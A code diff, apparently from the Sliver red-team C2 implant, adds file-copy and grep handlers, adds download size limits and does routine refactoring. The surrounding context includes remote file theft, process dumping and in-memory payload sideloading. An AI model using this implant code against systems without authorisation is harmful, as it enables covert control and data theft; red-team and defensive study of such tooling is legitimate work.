// {{if .Config.IncludeWG}}
var (
tcpForwarders map[int]*WGTCPForwarder
socksServers map[int]*WGSocksServer
+1 -1
View File
@@ -18,7 +18,7 @@ package forwarder
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
import (
"fmt"
"io"
+3 -3
View File
@@ -18,10 +18,10 @@ package forwarder
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
import (
"fmt"
"io/ioutil"
"io"
"log"
"net"
@@ -61,7 +61,7 @@ func (s *WGSocksServer) LocalAddr() string {
func (s *WGSocksServer) Start() error {
var err error
server := socks5.NewServer(
socks5.WithLogger(socks5.NewLogger(log.New(ioutil.Discard, "", log.LstdFlags))),
socks5.WithLogger(socks5.NewLogger(log.New(io.Discard, "", log.LstdFlags))),
)
select {
case <-s.done:
@@ -18,7 +18,7 @@ package handlers
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
import (
"fmt"
+424 -38
View File
@@ -30,8 +30,10 @@ import (
"os"
"os/exec"
"path/filepath"
"regexp"
"strings"
"time"
"unicode/utf8"
// {{if .Config.Debug}}
"log"
@@ -302,6 +304,76 @@ func mvHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func cpHandler(data []byte, resp RPCResponse) {
cpReq := &sliverpb.CpReq{}
err := proto.Unmarshal(data, cpReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
copy := &sliverpb.Cp{
Src: cpReq.Src,
Dst: cpReq.Dst,
}
srcFile, err := os.Open(cpReq.Src)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to open source file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
defer srcFile.Close()
dstFile, err := os.Create(cpReq.Dst)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to open destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
defer dstFile.Close()
bytesWritten, err := io.Copy(dstFile, srcFile)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to copy bytes to destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
err = dstFile.Sync()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to sync destination file: %v", err)
// {{end}}
copy.Response = &commonpb.Response{Err: err.Error()}
data, err = proto.Marshal(copy)
resp(data, err)
return
}
copy.BytesWritten = bytesWritten
data, err = proto.Marshal(copy)
resp(data, err)
}
func mkdirHandler(data []byte, resp RPCResponse) {
mkdirReq := &sliverpb.MkdirReq{}
err := proto.Unmarshal(data, mkdirReq)
@@ -376,21 +448,79 @@ func pwdHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, int, int, error) {
func prepareDownload(path string, filter string, recurse bool, maxBytes int64, maxLines int64) ([]byte, bool, int, int, error) {
/*
Combine the path and filter to see if the user wants
to download a single file
*/
var rawData []byte
var err error
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
fileHandle, err := os.Open(path + filter)
if err != nil {
// Then we could not read the file
return nil, false, 0, 1, err
}
defer fileHandle.Close()
if maxBytes != 0 {
var readFirst bool = maxBytes > 0
if readFirst {
rawData = make([]byte, maxBytes)
_, err = fileHandle.Read(rawData)
} else {
rawData = make([]byte, maxBytes*-1)
var bytesToRead int64 = 0
if fileInfo.Size()+maxBytes < 0 {
bytesToRead = 0
} else {
bytesToRead = fileInfo.Size() + maxBytes
}
_, err = fileHandle.ReadAt(rawData, bytesToRead)
}
} else if maxLines != 0 {
var linesRead int64 = 0
var lines []string
var readFirst bool = true
if maxLines < 0 {
maxLines *= -1
readFirst = false
}
fileScanner := bufio.NewScanner(fileHandle)
for fileScanner.Scan() {
lines = append(lines, fileScanner.Text())
linesRead += 1
if linesRead == maxLines && readFirst {
break
}
}
err = fileScanner.Err()
if err == nil {
if readFirst {
rawData = []byte(strings.Join(lines, "\n"))
} else {
linePosition := int64(len(lines)) - maxLines
if linePosition < 0 {
linePosition = 0
}
rawData = []byte(strings.Join(lines[linePosition:], "\n"))
}
}
} else {
// Read the entire file
rawData = make([]byte, fileInfo.Size())
_, err = fileHandle.Read(rawData)
}
if err != nil && err != io.EOF {
// Then we could not read the file
return nil, false, 0, 1, err
} else {
return rawData, false, 1, 0, nil
}
@@ -428,11 +558,29 @@ func downloadHandler(data []byte, resp RPCResponse) {
if pathIsDirectory(target) {
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
target += "/"
if downloadReq.RestrictedToFile {
/*
The user has asked to perform a download operation that should only be allowed on
files, and this is a directory. We should let them know.
*/
err = fmt.Errorf("cannot complete command because target %s is a directory", target)
// {{if .Config.Debug}}
log.Printf("error completing download command: %v", err)
// {{end}}
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: 0, UnreadableFiles: 0}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
data, _ = proto.Marshal(download)
resp(data, err)
return
}
}
path, filter := determineDirPathFilter(target)
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse)
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse, downloadReq.MaxBytes, downloadReq.MaxLines)
if err != nil {
if isDir {
@@ -467,6 +615,221 @@ func downloadHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func searchFileForPattern(searchPath string, searchPattern *regexp.Regexp, linesBeforeCount int, linesAfterCount int) ([]*sliverpb.GrepResult, bool, error) {
var results []*sliverpb.GrepResult
fileHandle, err := os.Open(searchPath)
if err != nil {
return nil, false, err
}
defer fileHandle.Close()
fileScanner := bufio.NewScanner(fileHandle)
var linePosition int64 = 1
var linesBefore []string
var linesAfter []string
// A slice containing the line numbers that we need to capture lines up to
var linePositionsAfter []int64
var resultIndex int = 0
binaryFile := false
textLine := false
for fileScanner.Scan() {
line := fileScanner.Text()
// If the line is not valid UTF-8, then the file contains binary
// We do not want to send binary data back to the client
textLine = utf8.ValidString(line)
if !textLine {
binaryFile = true
// Disable before and after line counts
linesBeforeCount = 0
linesAfterCount = 0
}
if linesBeforeCount > 0 && !binaryFile {
linesBefore = append(linesBefore, line)
if len(linesBefore) > int(linesBeforeCount)+1 {
linesBefore = linesBefore[1:]
}
}
if linesAfterCount > 0 && len(linePositionsAfter) > 0 && !binaryFile {
if linePosition <= linePositionsAfter[0] {
linesAfter = append(linesAfter, line)
if len(linesAfter) > linesAfterCount {
linesAfter = linesAfter[1:]
}
} else {
results[resultIndex].LinesAfter = make([]string, len(linesAfter))
copy(results[resultIndex].LinesAfter, linesAfter)
if len(linePositionsAfter) > 1 {
linesAfter = linesAfter[linePositionsAfter[1]-linePositionsAfter[0]:]
} else {
linesAfter = linesAfter[1:]
}
linePositionsAfter = linePositionsAfter[1:]
resultIndex += 1
linesAfter = append(linesAfter, line)
}
}
if matches := searchPattern.FindAllStringIndex(line, -1); matches != nil {
if !textLine {
results = append(results, &sliverpb.GrepResult{LineNumber: linePosition})
} else {
var positions []*sliverpb.GrepLinePosition
for _, match := range matches {
positions = append(positions, &sliverpb.GrepLinePosition{Start: int32(match[0]), End: int32(match[1])})
}
if linesBeforeCount > 0 && len(linesBefore) > 0 {
results = append(results, &sliverpb.GrepResult{LineNumber: linePosition, Positions: positions, Line: line, LinesBefore: linesBefore[:len(linesBefore)-1]})
} else {
results = append(results, &sliverpb.GrepResult{LineNumber: linePosition, Positions: positions, Line: line, LinesBefore: []string{}})
}
if linesAfterCount > 0 {
linePositionsAfter = append(linePositionsAfter, linePosition+int64(linesAfterCount))
}
}
}
linePosition += 1
}
// We reached the end of the file, but we need to make sure we capture any lines that might be queued up
if linesAfterCount > 0 && len(linePositionsAfter) > 0 && !binaryFile {
for idx, afterLinePosition := range linePositionsAfter {
sliceStopPosition := len(linesAfter)
if len(linesAfter) >= linesAfterCount {
sliceStopPosition = linesAfterCount
}
results[resultIndex].LinesAfter = make([]string, len(linesAfter[:sliceStopPosition]))
copy(results[resultIndex].LinesAfter, linesAfter[:sliceStopPosition])
if idx != len(linePositionsAfter)-1 {
nextPosition := linePositionsAfter[idx+1]
linesAfter = linesAfter[nextPosition-afterLinePosition:]
}
resultIndex += 1
}
}
return results, binaryFile, nil
}
func searchPathForPattern(searchPath string, filter string, searchPattern *regexp.Regexp, recursive bool, linesBefore int, linesAfter int) (map[string]*sliverpb.GrepResultsForFile, error) {
var results map[string]*sliverpb.GrepResultsForFile = make(map[string]*sliverpb.GrepResultsForFile)
fileList, err := buildFileList(searchPath, filter, recursive)
if err != nil {
return nil, err
}
for _, file := range fileList {
fi, err := os.Stat(file)
if err != nil {
// Cannot get info on the file, so skip it
continue
}
// If the file is a symlink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
if err != nil {
continue
}
}
// Do the grep
fileResults, binaryFile, err := searchFileForPattern(file, searchPattern, linesBefore, linesAfter)
if err != nil {
// The error for this file will go back in the results
result := &sliverpb.GrepResult{LineNumber: -1, Positions: nil, Line: err.Error()}
results[file] = &sliverpb.GrepResultsForFile{FileResults: []*sliverpb.GrepResult{result}, IsBinary: binaryFile}
continue
} else {
results[file] = &sliverpb.GrepResultsForFile{FileResults: fileResults, IsBinary: binaryFile}
}
}
return results, nil
}
func performGrep(searchPath string, searchPattern *regexp.Regexp, recursive bool, linesBefore int, linesAfter int) (map[string]*sliverpb.GrepResultsForFile, error) {
var results map[string]*sliverpb.GrepResultsForFile
target, _ := filepath.Abs(searchPath)
fileInfo, err := os.Stat(target)
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
result, binaryFile, err := searchFileForPattern(target, searchPattern, linesBefore, linesAfter)
if err != nil {
return nil, err
}
results = make(map[string]*sliverpb.GrepResultsForFile)
results[target] = &sliverpb.GrepResultsForFile{FileResults: result, IsBinary: binaryFile}
return results, nil
} else if err == nil && fileInfo.IsDir() {
if fileInfo.IsDir() {
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
target += "/"
}
}
/*
The search path might not exist or be accessible,
but we will determine that when we try to do the search
*/
path, filter := determineDirPathFilter(target)
results, err = searchPathForPattern(path, filter, searchPattern, recursive, linesBefore, linesAfter)
return results, err
}
func grepHandler(data []byte, resp RPCResponse) {
grepReq := &sliverpb.GrepReq{}
err := proto.Unmarshal(data, grepReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
resp([]byte{}, err)
return
}
grep := &sliverpb.Grep{Results: nil}
// Sanity check the request (does the regex compile?)
searchRegex, err := regexp.Compile(grepReq.SearchPattern)
if err != nil {
// There is something wrong with the supplied regex
// {{if .Config.Debug}}
log.Printf("error getting parsing the search pattern: %v", err)
// {{end}}
grep.Response = &commonpb.Response{
Err: fmt.Sprintf("There was a problem with the supplied search pattern: %v", err),
}
data, _ = proto.Marshal(grep)
resp(data, err)
return
}
grep.Results, err = performGrep(grepReq.Path, searchRegex, grepReq.Recursive, int(grepReq.LinesBefore), int(grepReq.LinesAfter))
grep.SearchPathAbsolute, _ = filepath.Abs(grepReq.Path)
if err == nil {
grep.Response = &commonpb.Response{}
} else {
grep.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
}
data, _ = proto.Marshal(grep)
resp(data, err)
}
func uploadHandler(data []byte, resp RPCResponse) {
uploadReq := &sliverpb.UploadReq{}
err := proto.Unmarshal(data, uploadReq)
@@ -488,6 +851,19 @@ func uploadHandler(data []byte, resp RPCResponse) {
// Process Upload
upload := &sliverpb.Upload{Path: uploadPath}
uploadPathInfo, err := os.Stat(uploadPath)
if err != nil && !os.IsNotExist(err) {
upload.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
}
if !os.IsNotExist(err) && uploadPathInfo.IsDir() {
if !strings.HasSuffix(uploadPath, string(os.PathSeparator)) {
uploadPath += string(os.PathSeparator)
}
uploadPath += uploadReq.FileName
}
f, err := os.Create(uploadPath)
if err != nil {
@@ -801,38 +1177,10 @@ func standarizeArchiveFileName(path string) string {
}
}
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
readFiles := 0
unreadableFiles := 0
func buildFileList(path string, filter string, recurse bool) ([]string, error) {
var matchingFiles []string
/*
There is an edge case where if you are trying to download a junction on Windows,
you will get access denied
To resolve this, we will resolve the junction or symlink before we do anything.
Even though resolving the symlink first is not necessary on *nix, it does not hurt
and will make it so that we do not have to detect if we are on Windows.
*/
pathInfo, err := os.Lstat(path)
if err != nil {
return readFiles, unreadableFiles, err
}
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
path, err = filepath.EvalSymlinks(path)
if err != nil {
return readFiles, unreadableFiles, err
}
// The path we get back from EvalSymlinks does not have a trailing separator
// Forward slash is fine even on Windows.
path += "/"
}
/*
Build the list of files to include in the archive.
Build the list of files to include in the archive or to search.
Walking the directory can take a long time and do a lot of unnecessary work
if we do not need to recurse through subdirectories.
@@ -844,12 +1192,12 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
testPath := strings.ReplaceAll(path, "\\", "/")
directory, err := os.Open(path)
if err != nil {
return readFiles, unreadableFiles, err
return nil, err
}
directoryFiles, err := directory.Readdirnames(0)
directory.Close()
if err != nil {
return readFiles, unreadableFiles, err
return nil, err
}
for _, fileName := range directoryFiles {
@@ -882,6 +1230,44 @@ func compressDir(path string, filter string, recurse bool, buf io.Writer) (int,
})
}
return matchingFiles, nil
}
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
readFiles := 0
unreadableFiles := 0
var matchingFiles []string
/*
There is an edge case where if you are trying to download a junction on Windows,
you will get access denied
To resolve this, we will resolve the junction or symlink before we do anything.
Even though resolving the symlink first is not necessary on *nix, it does not hurt
and will make it so that we do not have to detect if we are on Windows.
*/
pathInfo, err := os.Lstat(path)
if err != nil {
return readFiles, unreadableFiles, err
}
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
path, err = filepath.EvalSymlinks(path)
if err != nil {
return readFiles, unreadableFiles, err
}
// The path we get back from EvalSymlinks does not have a trailing separator
// Forward slash is fine even on Windows.
path += "/"
}
matchingFiles, err = buildFileList(path, filter, recurse)
if err != nil {
return readFiles, unreadableFiles, err
}
for _, file := range matchingFiles {
fi, err := os.Stat(file)
if err != nil {
+7 -4
View File
@@ -21,8 +21,9 @@ package handlers
import (
"os"
"os/user"
"syscall"
"strconv"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/extension"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,12 +43,14 @@ var (
pb.MsgRmReq: rmHandler,
pb.MsgMkdirReq: mkdirHandler,
pb.MsgMvReq: mvHandler,
pb.MsgCpReq: cpHandler,
pb.MsgIfconfigReq: ifconfigHandler,
pb.MsgExecuteReq: executeHandler,
pb.MsgEnvReq: getEnvHandler,
pb.MsgSetEnvReq: setEnvHandler,
pb.MsgUnsetEnvReq: unsetEnvHandler,
pb.MsgChtimesReq: chtimesHandler,
pb.MsgGrepReq: grepHandler,
pb.MsgScreenshotReq: screenshotHandler,
pb.MsgNetstatReq: netstatHandler,
@@ -67,7 +70,7 @@ var (
pb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
pb.MsgListWasmExtensionsReq: listWasmExtensionsHandler,
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
// Wireguard specific
pb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
pb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
@@ -151,7 +154,7 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func getUid(fileInfo os.FileInfo) (string) {
func getUid(fileInfo os.FileInfo) string {
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
uid_str := strconv.FormatUint(uint64(uid), 10)
usr, err := user.LookupId(uid_str)
@@ -161,7 +164,7 @@ func getUid(fileInfo os.FileInfo) (string) {
return usr.Name
}
func getGid(fileInfo os.FileInfo) (string) {
func getGid(fileInfo os.FileInfo) string {
gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
gid_str := strconv.FormatUint(uint64(gid), 10)
grp, err := user.LookupGroupId(gid_str)
+5 -2
View File
@@ -28,6 +28,7 @@ package handlers
import (
"os"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
@@ -42,12 +43,14 @@ var (
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
@@ -67,11 +70,11 @@ func GetSystemPivotHandlers() map[uint32]TunnelHandler {
}
// Stub
func getUid(fileInfo os.FileInfo) (string) {
func getUid(fileInfo os.FileInfo) string {
return ""
}
// Stub
func getGid(fileInfo os.FileInfo) (string) {
func getGid(fileInfo os.FileInfo) string {
return ""
}
+3 -1
View File
@@ -55,6 +55,7 @@ var (
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgExecuteReq: executeHandler,
@@ -70,13 +71,14 @@ var (
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgGrepReq: grepHandler,
// Wasm Extensions - Note that execution can be done via a tunnel handler
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
sliverpb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
sliverpb.MsgListWasmExtensionsReq: listWasmExtensionsHandler,
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
// Wireguard specific
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
sliverpb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
+3 -1
View File
@@ -96,11 +96,13 @@ var (
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgReconfigureReq: reconfigureHandler,
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
sliverpb.MsgChtimesReq: chtimesHandler,
sliverpb.MsgGrepReq: grepHandler,
// Extensions
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
@@ -112,7 +114,7 @@ var (
sliverpb.MsgDeregisterWasmExtensionReq: deregisterWasmExtensionHandler,
sliverpb.MsgListWasmExtensionsReq: listWasmExtensionsHandler,
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
// Wireguard specific
sliverpb.MsgWGStartPortFwdReq: wgStartPortfwdHandler,
sliverpb.MsgWGStopPortFwdReq: wgStopPortfwdHandler,
+2 -3
View File
@@ -34,7 +34,6 @@ import (
"errors"
"fmt"
"io"
"io/ioutil"
"net"
"os"
"path"
@@ -212,7 +211,7 @@ func getProcName(s []byte) string {
func (p *procFd) iterFdDir() {
// link name is of the form socket:[5860846]
fddir := path.Join(p.base, "/fd")
fi, err := ioutil.ReadDir(fddir)
fi, err := os.ReadDir(fddir)
if err != nil {
return
}
@@ -252,7 +251,7 @@ func (p *procFd) iterFdDir() {
func extractProcInfo(sktab []SockTabEntry) {
var basedir = "/proc"
fi, err := ioutil.ReadDir(basedir)
fi, err := os.ReadDir(basedir)
if err != nil {
return
}
+1 -2
View File
@@ -17,7 +17,6 @@ import (
"encoding/json"
"errors"
"fmt"
"io/ioutil"
// {{if .Config.Debug}}
"log"
@@ -247,7 +246,7 @@ func (p *provider) unmarshalProxyConfigFile() (map[string]string, error) {
} else if stat.Size() > 1048576 {
return nil, errors.New(fmt.Sprintf("proxy configuration file too large: %s", f))
}
out, err := ioutil.ReadFile(f)
out, err := os.ReadFile(f)
if err != nil {
return nil, errors.New(fmt.Sprintf("failed to read proxy configuration file: %s: %s", f, err))
}
+8 -1
View File
@@ -17,11 +17,14 @@ import (
"bytes"
"context"
"fmt"
"log"
"net/url"
"regexp"
"strings"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
)
type providerDarwin struct {
@@ -137,6 +140,7 @@ Returns:
func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUrl *url.URL) Proxy {
proxy, err := p.parseScutildata(protocol, targetUrl, scUtilBinary, scUtilBinaryArgument)
if err != nil {
// {{if .Config.Debug}}
if isNotFound(err) {
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: %s proxy is not enabled.\n", protocol)
} else if isTimedOut(err) {
@@ -144,6 +148,7 @@ func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUr
} else {
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: Failed to parse Scutil data, %s\n", err)
}
// {{end}}
}
return proxy
}
@@ -257,7 +262,9 @@ func (p *providerDarwin) parseScutildata(protocol string, targetUrl *url.URL, na
}
if proxyBypass != "" {
bypass := p.isProxyBypass(targetUrl, proxyBypass, ",")
// {{if .Config.Debug}}
log.Printf("[proxy.Provider.parseProxyInfo]: ProxyBypass=\"%s\", targetUrl=%s, bypass=%t", proxyBypass, targetUrl, bypass)
// {{end}}
if bypass {
return nil, nil
}
+8 -1
View File
@@ -20,11 +20,14 @@ import (
"bytes"
"context"
"fmt"
"log"
"net/url"
"regexp"
"strings"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
)
type providerDarwin struct {
@@ -140,6 +143,7 @@ Returns:
func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUrl *url.URL) Proxy {
proxy, err := p.parseScutildata(protocol, targetUrl, scUtilBinary, scUtilBinaryArgument)
if err != nil {
// {{if .Config.Debug}}
if isNotFound(err) {
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: %s proxy is not enabled.\n", protocol)
} else if isTimedOut(err) {
@@ -147,6 +151,7 @@ func (p *providerDarwin) readDarwinNetworkSettingProxy(protocol string, targetUr
} else {
log.Printf("[proxy.Provider.readDarwinNetworkSettingProxy]: Failed to parse Scutil data, %s\n", err)
}
// {{end}}
}
return proxy
}
@@ -260,7 +265,9 @@ func (p *providerDarwin) parseScutildata(protocol string, targetUrl *url.URL, na
}
if proxyBypass != "" {
bypass := p.isProxyBypass(targetUrl, proxyBypass, ",")
// {{if .Config.Debug}}
log.Printf("[proxy.Provider.parseProxyInfo]: ProxyBypass=\"%s\", targetUrl=%s, bypass=%t", proxyBypass, targetUrl, bypass)
// {{end}}
if bypass {
return nil, nil
}
+5 -6
View File
@@ -16,7 +16,6 @@ import (
"errors"
"fmt"
"github.com/stretchr/testify/assert"
"io/ioutil"
"net/url"
"os"
"path/filepath"
@@ -48,7 +47,7 @@ var dataProviderReadConfigFileProxy = []struct {
}
func TestProvider_ReadConfigFileProxy(t *testing.T) {
tmpDir, err := ioutil.TempDir("", "TestReadConfigFileProxy")
tmpDir, err := os.MkdirTemp("", "TestReadConfigFileProxy")
defer os.RemoveAll(tmpDir)
for _, tt := range dataProviderReadConfigFileProxy {
t.Run(tt.content, func(t *testing.T) {
@@ -72,7 +71,7 @@ func TestProvider_ReadConfigFileProxy(t *testing.T) {
func TestProvider_ReadConfigFileProxy_noFile(t *testing.T) {
a := assert.New(t)
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
if !a.NoError(err) {
return
}
@@ -87,7 +86,7 @@ func TestProvider_ReadConfigFileProxy_noFile(t *testing.T) {
func TestProvider_ParseConfigFileProxies_isDir(t *testing.T) {
a := assert.New(t)
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
if !a.NoError(err) {
return
}
@@ -98,7 +97,7 @@ func TestProvider_ParseConfigFileProxies_isDir(t *testing.T) {
func TestProvider_ParseConfigFileProxies_emptyFile(t *testing.T) {
a := assert.New(t)
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
if !a.NoError(err) {
return
}
@@ -118,7 +117,7 @@ func TestProvider_ParseConfigFileProxies_emptyFile(t *testing.T) {
func TestProvider_ParseConfigFileProxies_tooLarge(t *testing.T) {
a := assert.New(t)
tmpDir, err := ioutil.TempDir("", "TestParseConfigFileProxies")
tmpDir, err := os.MkdirTemp("", "TestParseConfigFileProxies")
if !a.NoError(err) {
return
}
+2 -3
View File
@@ -5,7 +5,6 @@ package ps
import (
"fmt"
"io"
"io/ioutil"
"os"
"os/user"
"strconv"
@@ -86,7 +85,7 @@ func getProcessOwner(pid int) (string, error) {
func getProcessCmdLine(pid int) ([]string, error) {
cmdLinePath := fmt.Sprintf("/proc/%d/cmdline", pid)
data, err := ioutil.ReadFile(cmdLinePath)
data, err := os.ReadFile(cmdLinePath)
if err != nil {
return []string{""}, err
}
@@ -129,7 +128,7 @@ func getProcessArchitecture(pid int) (string, error) {
// Refresh reloads all the data associated with this process.
func (p *UnixProcess) Refresh() error {
statPath := fmt.Sprintf("/proc/%d/stat", p.pid)
dataBytes, err := ioutil.ReadFile(statPath)
dataBytes, err := os.ReadFile(statPath)
if err != nil {
return err
}
+4
View File
@@ -124,10 +124,14 @@ func getProcessOwner(pid uint32) (owner string, err error) {
if err != nil {
return
}
defer syscall.CloseHandle(handle)
var token syscall.Token
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
return
}
defer token.Close()
tokenUser, err := getTokenOwner(token)
if err != nil {
return
+1 -2
View File
@@ -3,7 +3,6 @@ package ssh
import (
"bytes"
"fmt"
"io/ioutil"
// {{if .Config.Debug}}
"log"
@@ -31,7 +30,7 @@ func getClient(host string, port uint16, username string, password string, privK
authMethods = append(authMethods, ssh.PublicKeys(signer))
} else if krb5conf != "" && keytab != nil && realm != "" {
// Then try kerberos auth
krb5ConfData, err := ioutil.ReadFile(krb5conf)
krb5ConfData, err := os.ReadFile(krb5conf)
if err != nil {
return nil, err
}
+4
View File
@@ -240,6 +240,10 @@ func sessionStartup() {
if connection != nil {
err := sessionMainLoop(connection)
if err != nil {
if err == ErrTerminate {
connection.Cleanup()
return
}
connectionErrors++
if transports.GetMaxConnectionErrors() < connectionErrors {
return
+1 -2
View File
@@ -21,7 +21,6 @@ package taskrunner
import (
"bytes"
"fmt"
"io/ioutil"
"os"
"os/exec"
"runtime"
@@ -80,7 +79,7 @@ func Sideload(procName string, procArgs []string, _ uint32, data []byte, args st
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
pid := os.Getpid()
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
err = ioutil.WriteFile(fdPath, data, 0755)
err = os.WriteFile(fdPath, data, 0755)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error writing file to memfd: %s\n", err)
+18 -18
View File
@@ -30,18 +30,18 @@ import (
"net/url"
"time"
// {{if .Config.MTLSc2Enabled}}
// {{if .Config.IncludeMTLS}}
"crypto/tls"
"github.com/bishopfox/sliver/implant/sliver/transports/mtls"
// {{end}}
// {{if .Config.HTTPc2Enabled}}
// {{if .Config.IncludeHTTP}}
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
// {{end}}
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
"errors"
"net"
@@ -50,11 +50,11 @@ import (
// {{end}}
// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"strconv"
// {{end}}
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
// {{end}}
@@ -141,28 +141,28 @@ func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
switch uri.Scheme {
// *** MTLS ***
// {{if .Config.MTLSc2Enabled}}
// {{if .Config.IncludeMTLS}}
case "mtls":
beacon = mtlsBeacon(uri)
// {{end}} - MTLSc2Enabled
// {{end}} - IncludeMTLS
case "wg":
// *** WG ***
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
beacon = wgBeacon(uri)
// {{end}} - WGc2Enabled
// {{end}} - IncludeWG
case "https":
fallthrough
case "http":
// *** HTTP ***
